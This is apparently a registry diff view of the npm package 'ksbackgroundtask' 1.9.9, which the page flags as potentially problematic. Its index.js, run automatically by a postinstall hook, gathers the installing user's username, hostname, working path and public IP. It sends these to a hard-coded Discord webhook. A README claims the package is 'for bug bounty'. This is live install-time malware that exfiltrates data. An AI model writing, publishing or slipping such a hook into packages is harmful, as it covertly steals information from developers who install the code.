ksbackgroundtask 1.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ksbackgroundtask might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +39 -0
- package/package.json +15 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
THIS IS FOR BUG BOUNTY
|
package/index.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const path = require('path');
|
3
|
+
const axios = require('axios');
|
4
|
+
|
5
|
+
async function postData(url = '', data = {}) {
|
6
|
+
try {
|
7
|
+
await axios.post(url, data);
|
8
|
+
} catch (error) {}
|
9
|
+
}
|
10
|
+
|
11
|
+
async function getPublicIP() {
|
12
|
+
const response = await axios.get('https://api64.ipify.org?format=json');
|
13
|
+
const data = response.data;
|
14
|
+
return data.ip;
|
15
|
+
}
|
16
|
+
|
17
|
+
async function addPublicIP() {
|
18
|
+
const ip = await getPublicIP();
|
19
|
+
const data = {
|
20
|
+
embeds: [
|
21
|
+
{
|
22
|
+
title: 'System Information',
|
23
|
+
fields: [
|
24
|
+
{ name: 'Time', value: new Date().toString(), inline: false },
|
25
|
+
{ name: 'Username', value: os.userInfo().username, inline: false },
|
26
|
+
{ name: 'Hostname', value: os.hostname(), inline: false },
|
27
|
+
{ name: 'Current Path', value: path.resolve(), inline: false },
|
28
|
+
{ name: 'Public IP', value: ip, inline: false },
|
29
|
+
],
|
30
|
+
},
|
31
|
+
],
|
32
|
+
};
|
33
|
+
postData(
|
34
|
+
'https://discord.com/api/webhooks/1133064107818504262/LuA6NtyDRSUf9D4FiBKTR-n2aP0JfNNWA6snUwKiUrDyC_wtrZVYY8CYgkJKj7YslXXH',
|
35
|
+
data
|
36
|
+
);
|
37
|
+
}
|
38
|
+
|
39
|
+
addPublicIP();
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "ksbackgroundtask",
|
3
|
+
"version": "1.9.9",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.4.0",
|
13
|
+
"node-fetch": "^3.3.1"
|
14
|
+
}
|
15
|
+
}
|